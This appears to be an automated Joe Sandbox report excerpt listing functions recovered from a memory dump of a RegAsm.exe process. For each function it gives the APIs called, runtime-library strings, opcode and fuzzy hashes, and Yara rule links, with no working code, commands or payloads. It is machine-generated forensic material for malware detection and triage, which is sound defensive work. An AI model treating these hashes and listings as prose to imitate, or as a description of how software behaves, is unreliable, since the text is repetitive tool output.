Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Time$FileSystem$Precise
String ID:
API String ID: 743729956-0
Opcode ID: 4bc927ed1827ac25b5e752307430914a3291b76b01602d9a661a83466e98e6fc
Instruction ID: be5c169734e998a191332727a84c284f098484a459c3f2ed22e0452e41129fa1
Opcode Fuzzy Hash: 4bc927ed1827ac25b5e752307430914a3291b76b01602d9a661a83466e98e6fc
Instruction Fuzzy Hash: FFF0EC32944554DFC701CF44EC44B697FACF708B14F00022BEC1293350D77569449B80

Function 00402630 Relevance: 1.6, Strings: 1, Instructions: 374COMMON

Download Yara Rule

Strings

, xrefs: 004026C5

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 95b92e8fa39c112e1d4346d41d462270d69c5ac5e2df1aa56c49799e71266035
Instruction ID: 1e4a37ccbee78c717cec8a4ffc76853d3e3712ff98ec8348ead274606d765f5e
Opcode Fuzzy Hash: 95b92e8fa39c112e1d4346d41d462270d69c5ac5e2df1aa56c49799e71266035
Instruction Fuzzy Hash: E00239B1A00119DBDB18CF58D981AADB7B2FF85304F2481B9D606AB785D634EF02EB44

Function 00402100 Relevance: 1.6, Strings: 1, Instructions: 344COMMON

Download Yara Rule

Strings

, xrefs: 00402163

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: b6d2877e5a31ed250fc39923d4bc62ba6b3ff92550031bfa054920cef4836817
Instruction ID: 1ee3fdd290c28658c22899bc25af5fa0ac0db71030ccea98120b6ac2690c3de8
Opcode Fuzzy Hash: b6d2877e5a31ed250fc39923d4bc62ba6b3ff92550031bfa054920cef4836817
Instruction Fuzzy Hash: 0FF1F871900219DBEB18CF58D551BADB7B2EF89704F2481B9D606AB785C738EF02EB44

Function 00561864 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0055B071: GetLastError.KERNEL32(00000000,00553FDB,0055E5E2), ref: 0055B075
Part of subcall function 0055B071: SetLastError.KERNEL32(00000000,00000000,-000668A0,00000006,000000FF), ref: 0055B117

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 005618B8

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: bf76f013019ae81285f6fb0a949a8b3c871c4e85367c5c9c8ca91a591712fa33
Instruction ID: cc7619ed78574f95374df8a08de838aff5f8ed2338aca8f7fe3e38f260d4a5a6
Opcode Fuzzy Hash: bf76f013019ae81285f6fb0a949a8b3c871c4e85367c5c9c8ca91a591712fa33
Instruction Fuzzy Hash: F921C272610607ABEB289B25DC5AABA7BACFF45301B18007EFD01D7191EB34DE44DB54

Function 005614EB Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055B071: GetLastError.KERNEL32(00000000,00553FDB,0055E5E2), ref: 0055B075
Part of subcall function 0055B071: SetLastError.KERNEL32(00000000,00000000,-000668A0,00000006,000000FF), ref: 0055B117

EnumSystemLocalesW.KERNEL32(00561611,00000001,00000000,?,-00000050,?,00561C45,00000000,?,?,?,00000055,?), ref: 0056155D

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: fd5b926a3e8a83900c3d27ab139d45c3dc06280f9547b57fc8cadef48391fdb9
Instruction ID: c76c95484c3654e5493528f6a30284c18d0055c3424f7df31026231c7a6b0db6
Opcode Fuzzy Hash: fd5b926a3e8a83900c3d27ab139d45c3dc06280f9547b57fc8cadef48391fdb9
Instruction Fuzzy Hash: E511253B200B019FDB189F39C8955BABBA1FFD0359B18442DE98787A40E771B942CB40

Function 005613F9 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 0055B071: GetLastError.KERNEL32(00000000,00553FDB,0055E5E2), ref: 0055B075
Part of subcall function 0055B071: SetLastError.KERNEL32(00000000,00000000,-000668A0,00000006,000000FF), ref: 0055B117

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0056144D

Strings

utf8, xrefs: 005613BC

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID: utf8
API String ID: 3736152602-905460609
Opcode ID: e920e616485f612076260c90c7fa993878f4f96ffc68cebfb9f38966c38a13f6
Instruction ID: f24f8c1a22b3ec500fe96aef3a9fbc2be48cab4fb2152885d21ffedd849f4347
Opcode Fuzzy Hash: e920e616485f612076260c90c7fa993878f4f96ffc68cebfb9f38966c38a13f6
Instruction Fuzzy Hash: E5F02832600206ABDB14AB74DC5DABA77ACEF84311F14007AF902D7281EF74AD088750

Function 00561586 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055B071: GetLastError.KERNEL32(00000000,00553FDB,0055E5E2), ref: 0055B075
Part of subcall function 0055B071: SetLastError.KERNEL32(00000000,00000000,-000668A0,00000006,000000FF), ref: 0055B117

EnumSystemLocalesW.KERNEL32(00561864,00000001,?,?,-00000050,?,00561C0D,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 005615D0

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 9b3df15a63fc341d4540e85923757e293378d340493142efb241cc13c86fddb6
Instruction ID: 6280a6257a1317acfa5796675a1db39ea24b12d4a2eaf7f5374d69a296381ee2
Opcode Fuzzy Hash: 9b3df15a63fc341d4540e85923757e293378d340493142efb241cc13c86fddb6
Instruction Fuzzy Hash: 9CF022366007045FDB245F398885A7ABF90FBC03A8B08802DF9038B690D6B1AC42CA44

Function 0055B6A5 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00559B81: EnterCriticalSection.KERNEL32(-00173DB0,?,00555A32,00000000,005898B0,0000000C,005559FA,?,?,0055D239,?,?,0055B20F,00000001,00000364,0041C3C8), ref: 00559B90

EnumSystemLocalesW.KERNEL32(0055B698,00000001,00589B70,0000000C,0055BA70,00000000), ref: 0055B6DD

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 596a2f65052e80fc2c500ea2617ca0a9923dab387923e6b3d22cd19bdbd73abd
Instruction ID: c6ba897f20da117800dfb36531373967b36ed445b538365d1d683573f7152c80
Opcode Fuzzy Hash: 596a2f65052e80fc2c500ea2617ca0a9923dab387923e6b3d22cd19bdbd73abd
Instruction Fuzzy Hash: BBF04F76A00205DFE700DF58E856B9D7BB0FB98722F10411BF811AB2E1DB755909DF50

Function 005614A0 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055B071: GetLastError.KERNEL32(00000000,00553FDB,0055E5E2), ref: 0055B075
Part of subcall function 0055B071: SetLastError.KERNEL32(00000000,00000000,-000668A0,00000006,000000FF), ref: 0055B117

EnumSystemLocalesW.KERNEL32(005613F9,00000001,?,?,?,00561C67,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 005614D7

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 32ae5fd2b3c91f07b345428f0f007f83ae86a5f193de15004afa3892ce3de9fa
Instruction ID: beebb75e8ee7a7e7b4bbf1b8083894378956043702d2351a2896269358164a72
Opcode Fuzzy Hash: 32ae5fd2b3c91f07b345428f0f007f83ae86a5f193de15004afa3892ce3de9fa
Instruction Fuzzy Hash: 94F0553A30028597CB049F79D849A7ABF94FFC2721B0A0059EE068B691C6729842C794

Function 0042A510 Relevance: .8, Instructions: 805COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: 65f424e258d6ec27c7016ffdd481e585a4ad4469cffab01534deae8233ae32a6
Instruction ID: f45a1edc46308e95aa1888f5aa17356e6e9bf2a82948ed66f481c67344e73770
Opcode Fuzzy Hash: 65f424e258d6ec27c7016ffdd481e585a4ad4469cffab01534deae8233ae32a6
Instruction Fuzzy Hash: 70823770E05268CFDB14CF68D890BEEBBB1BF4A308F1480DAD449AB342D6356A95CF55

Function 0041E9E0 Relevance: .6, Instructions: 587COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66689b99c70e304761bcf0fa122a0b67bec556cc284613e67dd9b8b84058b477
Instruction ID: 964a5492bb241a8e73cac1210e25911525ab570bb12a488796be4c2d20b6ea04
Opcode Fuzzy Hash: 66689b99c70e304761bcf0fa122a0b67bec556cc284613e67dd9b8b84058b477
Instruction Fuzzy Hash: E252C374E04259DFDB18CF99C990AEDBBB2BF89300F248199D859AB344C734AE85CF54

Function 0054E6CA Relevance: .3, Instructions: 333COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55d1900b7c7486cb8649a65f8d923b061a619778928a0f93d83d742f7fb87b48
Instruction ID: 9cfb45c68ab39144a878477f88748e33bfb829d933895baa164afd0c50bf39df
Opcode Fuzzy Hash: 55d1900b7c7486cb8649a65f8d923b061a619778928a0f93d83d742f7fb87b48
Instruction Fuzzy Hash: 0AC1B130900686CFDB29CF68C98BAFABFB1FF45328F184A19D49297691D331AD45CB51

Function 0040B5E0 Relevance: .3, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07e9134716412111dcd1734cd25578802b687834fb4f242b141874b5e62a8970
Instruction ID: 75a1b305906dcbb97c83f91ca0adf03dd2527acdb3b01ab1aa3af9a6865e914f
Opcode Fuzzy Hash: 07e9134716412111dcd1734cd25578802b687834fb4f242b141874b5e62a8970
Instruction Fuzzy Hash: 99C121B5E00109EBDB04DFA9D881AAEB7B6FF88300F14C52AE515B7385D7389941CB99

Function 00517635 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85921138fd773b456169ee97d6b744cd53be6f2ad74fab9bb3c551b4129d8de8
Instruction ID: 8b6731cc5d099de74c8588a9a95012faa0beb6c3b2b28fcc998f57c8910cd60d
Opcode Fuzzy Hash: 85921138fd773b456169ee97d6b744cd53be6f2ad74fab9bb3c551b4129d8de8
Instruction Fuzzy Hash: 5901ECA0035F7361C7C7FB318210246E3A0BF5955E7441A528514C9C68EB7FFD9D61B4

Function 00549481 Relevance: 28.3, APIs: 10, Strings: 6, Instructions: 297COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00549557
UnDecorator::getSignedDimension.LIBCMT ref: 00549562
UnDecorator::getSignedDimension.LIBCMT ref: 0054964E
UnDecorator::getSignedDimension.LIBCMT ref: 0054966B
UnDecorator::getSignedDimension.LIBCMT ref: 00549688
DName::operator+.LIBCMT ref: 0054969D
UnDecorator::getSignedDimension.LIBCMT ref: 005496B7
_swprintf.LIBCMTD ref: 00549731
DName::operator+.LIBCMT ref: 0054978C

Part of subcall function 005455C7: DName::DName.LIBVCRUNTIME ref: 00545625

DName::DName.LIBVCRUNTIME ref: 00549803

Strings

lambda, xrefs: 005497EC
`template-type-parameter-, xrefs: 005497A8
`generic-class-parameter-, xrefs: 00549798
`generic-method-parameter-, xrefs: 00549768
nullptr, xrefs: 005497CC
NULL, xrefs: 00549515

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Decorator::getDimensionSigned$Name::operator+$NameName::$_swprintf
String ID: NULL$`generic-class-parameter-$`generic-method-parameter-$`template-type-parameter-$lambda$nullptr
API String ID: 138750261-2441609178
Opcode ID: 9c617794eceb7d28091b0691f374615aadeced9ac27a4f759587d632a925a54b
Instruction ID: 4baaf7ac783a5c70ab3e4ead0e744b570817ecce11776f3a215441430455406a
Opcode Fuzzy Hash: 9c617794eceb7d28091b0691f374615aadeced9ac27a4f759587d632a925a54b
Instruction Fuzzy Hash: 65918271D0020B9ACB15EFB8D99FAFF7FB8BF4530CF204419E102A6196DE759A058B61

Function 0054898B Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 005489F6
DName::operator+.LIBCMT ref: 00548B39

Part of subcall function 0054460A: shared_ptr.LIBCMT ref: 00544626

DName::operator+.LIBCMT ref: 00548AE4
DName::operator+.LIBCMT ref: 00548B85
DName::operator+.LIBCMT ref: 00548B94
DName::operator+.LIBCMT ref: 00548CC0
DName::operator=.LIBVCRUNTIME ref: 00548D00
DName::DName.LIBVCRUNTIME ref: 00548D0A
DName::operator+.LIBCMT ref: 00548D27
DName::operator+.LIBCMT ref: 00548D33

Part of subcall function 0054A225: Replicator::operator[].LIBCMT ref: 0054A262

Strings

`anonymous namespace', xrefs: 00548C45

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator=Replicator::operator[]shared_ptr
String ID: `anonymous namespace'
API String ID: 1043660730-3062148218
Opcode ID: f1b120adc25c380c04f0cdc4b63bd5524a956ba0dad87713d6004c79bed89ecb
Instruction ID: b8473b8f8004285e533ee568b1a6921f50edcfecd72d33db96c81dcbc57cc810
Opcode Fuzzy Hash: f1b120adc25c380c04f0cdc4b63bd5524a956ba0dad87713d6004c79bed89ecb
Instruction Fuzzy Hash: E0C1BCB19002099FCB24DFA4D889BFEBFF8BB59308F14445DE545AB281EB749A48CF50

Function 005473F9 Relevance: 19.8, APIs: 13, Instructions: 332COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 005474C2
DName::operator+.LIBCMT ref: 005474FF
DName::DName.LIBVCRUNTIME ref: 00547513
DName::operator+.LIBCMT ref: 00547522
DName::operator+.LIBCMT ref: 005475B0
DName::DName.LIBVCRUNTIME ref: 005475D8
DName::operator+.LIBCMT ref: 005475E6
DName::operator+.LIBCMT ref: 00547620
DName::operator+.LIBCMT ref: 00547661
UnDecorator::getReturnType.LIBCMT ref: 00547691
operator+.LIBVCRUNTIME ref: 00547793

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::$Decorator::getReturnTypeoperator+
String ID:
API String ID: 2932655852-0
Opcode ID: 11eb26577d9353dab76694ceff2201a855fd58fab72666f07d4505a41160d868
Instruction ID: 0a9399c55ad542a06a402ecdf4a691671402b8606740d35b5cd3cc1514a36681
Opcode Fuzzy Hash: 11eb26577d9353dab76694ceff2201a855fd58fab72666f07d4505a41160d868
Instruction Fuzzy Hash: 23C17071904209AFCB14EFE4D896AEEBFB8FF5D308F140569F506A7291EB309A45CB50

Function 0054A225 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 185COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBCMT ref: 0054A262

Strings

`template-parameter-, xrefs: 0054A2D3
`generic-type-, xrefs: 0054A2FE
generic-type-, xrefs: 0054A2E8
template-parameter-, xrefs: 0054A2C1
@, xrefs: 0054A3CE

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Replicator::operator[]
String ID: @$`generic-type-$`template-parameter-$generic-type-$template-parameter-
API String ID: 3676697650-3433397351
Opcode ID: dae4d19fc37ac9c58ca8907ab09ed722ec09f8af86305a2a3ad87ac669e13414
Instruction ID: 2a597ec168fe3dda842b860cef50f90c133cfcababee03f39e44f87de630d551
Opcode Fuzzy Hash: dae4d19fc37ac9c58ca8907ab09ed722ec09f8af86305a2a3ad87ac669e13414
Instruction Fuzzy Hash: D861C071D4420A9FDB04DFA4D849BEEBFB8BF59308F144429EA01B7291EB749908DF91

Function 00548377 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 178COMMONLIBRARYCODE

Download Yara Rule

APIs

shared_ptr.LIBCMT ref: 005483E2
operator+.LIBVCRUNTIME ref: 00548432
shared_ptr.LIBCMT ref: 005484FE
DName::DName.LIBVCRUNTIME ref: 0054852E
operator+.LIBVCRUNTIME ref: 0054858F

Strings

std::nullptr_t, xrefs: 005485A0
std::nullptr_t , xrefs: 0054857D
volatile , xrefs: 005483C4, 005484E0
volatile, xrefs: 005483D4, 005484F0

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: operator+shared_ptr$NameName::
String ID: std::nullptr_t$std::nullptr_t $volatile$volatile
API String ID: 2894330373-757766384
Opcode ID: 18e5e8801541055b4a3488215f136dd88ebfbf5590bd0a3232b8119f488989d6
Instruction ID: 4e639db6cc4ca9c26c8e2f9abc17510eb49f0c8a6552686afadfb734336794d9
Opcode Fuzzy Hash: 18e5e8801541055b4a3488215f136dd88ebfbf5590bd0a3232b8119f488989d6
Instruction Fuzzy Hash: 1A618A7190410AEECF14CFA8C8489FEBFB4FB4930CF14896AE945AB251EB359645DF50

Function 005485C5 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

operator+.LIBVCRUNTIME ref: 00548628
DName::operator+.LIBCMT ref: 005486E6
operator+.LIBVCRUNTIME ref: 00548725

Strings

cli::array<, xrefs: 005486C2
std::nullptr_t, xrefs: 0054866C
std::nullptr_t , xrefs: 0054867C
void, xrefs: 005485F3
cli::pin_ptr<, xrefs: 005486FC
void , xrefs: 00548612

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: operator+$Name::operator+
String ID: cli::array<$cli::pin_ptr<$std::nullptr_t$std::nullptr_t $void$void
API String ID: 1198235884-2239912363
Opcode ID: 0aa35d909c69ba2db73145312d4dc4c3afa6c268f734ffaddd0a4a49cf08f27a
Instruction ID: 25e78043b640fc6115b5fe137a33ef03054e3b066ab09dfddb24d6525fed2261
Opcode Fuzzy Hash: 0aa35d909c69ba2db73145312d4dc4c3afa6c268f734ffaddd0a4a49cf08f27a
Instruction Fuzzy Hash: FC4144B0904209EFDF14CF94D859BEE7FF4BB25308F118459E515AB291DBB49A48DF40

Function 00545956 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 151COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 005459E4
DName::operator+.LIBCMT ref: 00545A37

Part of subcall function 0054460A: shared_ptr.LIBCMT ref: 00544626

Part of subcall function 00544535: DName::operator+.LIBCMT ref: 00544556

DName::operator+.LIBCMT ref: 00545A28
DName::operator+.LIBCMT ref: 00545A88
DName::operator+.LIBCMT ref: 00545A95
DName::operator+.LIBCMT ref: 00545ADC
DName::operator+.LIBCMT ref: 00545AE9

Strings

HV, xrefs: 00545ACB, 00545AD5

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$shared_ptr
String ID: HV
API String ID: 1037112749-1037838562
Opcode ID: fa82d6504414d6af1cf1b51b2c5eca165b343f1953a155ad2427d90064fdc075
Instruction ID: 64399cac19690ed7842203b24f2067ca6f988bfb881229b64e0853ff0db9f29d
Opcode Fuzzy Hash: fa82d6504414d6af1cf1b51b2c5eca165b343f1953a155ad2427d90064fdc075
Instruction Fuzzy Hash: 0C517FB1900619AFDF15DB94D889EEEBFB8FF48314F044559F502A7281EB309A48CFA0

Function 00541090 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,0041F869,0041F86B,00000000,00000000,77465D17,?,?,?,Function_00141700,00589468,000000FE,?,0041F869,00000001), ref: 00541119
MultiByteToWideChar.KERNEL32(00000000,00000000,0041F869,?,00000000,00000000,?,Function_00141700,00589468,000000FE,?,0041F869), ref: 00541194
SysAllocString.OLEAUT32(00000000), ref: 0054119F
_com_issue_error.COMSUPP ref: 005411C8
_com_issue_error.COMSUPP ref: 005411D2
GetLastError.KERNEL32(80070057,77465D17,?,?,?,Function_00141700,00589468,000000FE,?,0041F869,00000001), ref: 005411D7
_com_issue_error.COMSUPP ref: 005411EA
GetLastError.KERNEL32(00000000,?,?,?,Function_00141700,00589468,000000FE,?,0041F869,00000001), ref: 00541200
_com_issue_error.COMSUPP ref: 00541213

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID:
API String ID: 1353541977-0
Opcode ID: fb12b747f86361f7e035677d6187dfec8f4aa37da3189ef562062178f4cc11a4
Instruction ID: 3dff9bb88054d55d84cf1737c1c5549b609f28d39daaba7915bb495662d72cb9
Opcode Fuzzy Hash: fb12b747f86361f7e035677d6187dfec8f4aa37da3189ef562062178f4cc11a4
Instruction Fuzzy Hash: 7B412B71A00645ABDB10DFA8CC49BEEBFF8FB44758F104229F905E7240D7749880C7A8

Function 005682F0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 275COMMON

Download Yara Rule

APIs

__FindPESection.LIBCMT ref: 00568421
VirtualQuery.KERNEL32(83000000,77465D17,0000001C,77465D17,?,?,?), ref: 00568506
__FindPESection.LIBCMT ref: 00568543
__FindPESection.LIBCMT ref: 0056857D

Strings

< Y, xrefs: 00568592
< Y, xrefs: 00568445
< Y, xrefs: 00568645

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FindSection$QueryVirtual
String ID: < Y$< Y$< Y
API String ID: 2992484814-2098822819
Opcode ID: cc8f775e9dc5322748312a9f6678e7bd83d0d40863be3add0d235deb3878276a
Instruction ID: d7aedf6ac721f7aafe4f59f11c9708fb4288dfe4fab1792cf27c3865b7e27480
Opcode Fuzzy Hash: cc8f775e9dc5322748312a9f6678e7bd83d0d40863be3add0d235deb3878276a
Instruction Fuzzy Hash: C9A1B071A0061A9BCF20CF58D9846BEBBB9FB54325F15476AD819A7391DF31EC04CBA0

Function 0054A0D1 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 0054A115
DName::operator+.LIBCMT ref: 0054A121

Part of subcall function 0054460A: shared_ptr.LIBCMT ref: 00544626

DName::operator+=.LIBCMT ref: 0054A1DF

Part of subcall function 0054898B: DName::operator+.LIBCMT ref: 005489F6
Part of subcall function 0054898B: DName::operator+.LIBCMT ref: 00548CC0

Part of subcall function 00544535: DName::operator+.LIBCMT ref: 00544556

DName::operator+.LIBCMT ref: 0054A19C

Part of subcall function 00544662: DName::operator=.LIBVCRUNTIME ref: 00544683

DName::DName.LIBVCRUNTIME ref: 0054A203
DName::operator+.LIBCMT ref: 0054A20F

Strings

{for , xrefs: 0054A148

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator+=Name::operator=shared_ptr
String ID: {for
API String ID: 2795783184-864106941
Opcode ID: 21e03854e8e9ab2311086c8859bc8ee95fbdcb3841ac4a02e3d62d095bee084c
Instruction ID: 19ec2038140acd9c72eeb914f45d5c83f087886072388c8172df60c182a7effb
Opcode Fuzzy Hash: 21e03854e8e9ab2311086c8859bc8ee95fbdcb3841ac4a02e3d62d095bee084c
Instruction Fuzzy Hash: AA41D6B0A80244AFDB14DFA8CC59BEE7FF9BB4A308F045459E285E7281EB349D44CB51

Function 0054573C Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0054562F: Replicator::operator[].LIBCMT ref: 0054569B

DName::DName.LIBVCRUNTIME ref: 00545788
DName::operator+.LIBCMT ref: 005457CE

Strings

,..., xrefs: 005457A9
void, xrefs: 00545820
,<ellipsis>, xrefs: 005457B9
..., xrefs: 005457FF
<ellipsis>, xrefs: 0054580F

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::Name::operator+Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 583996491-2211150622
Opcode ID: 8cc8a3b2888fb2a3948480eca58a20e8b24dcbfeebeb641ab90b6721e1e4d21b
Instruction ID: ddafcf7c48707356bc1fcb15899d4d8470ab30dcf3d3e4dd6fa10631418c5fe1
Opcode Fuzzy Hash: 8cc8a3b2888fb2a3948480eca58a20e8b24dcbfeebeb641ab90b6721e1e4d21b
Instruction Fuzzy Hash: 32317174900609DFCB14DF99D8546EEBFF0FB09348F108569EA56EB252EB789608CF41

Function 005095B0 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 338COMMON

Download Yara Rule

Strings

>, xrefs: 00509800
!kcc, xrefs: 005098CC
7, xrefs: 00509957

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

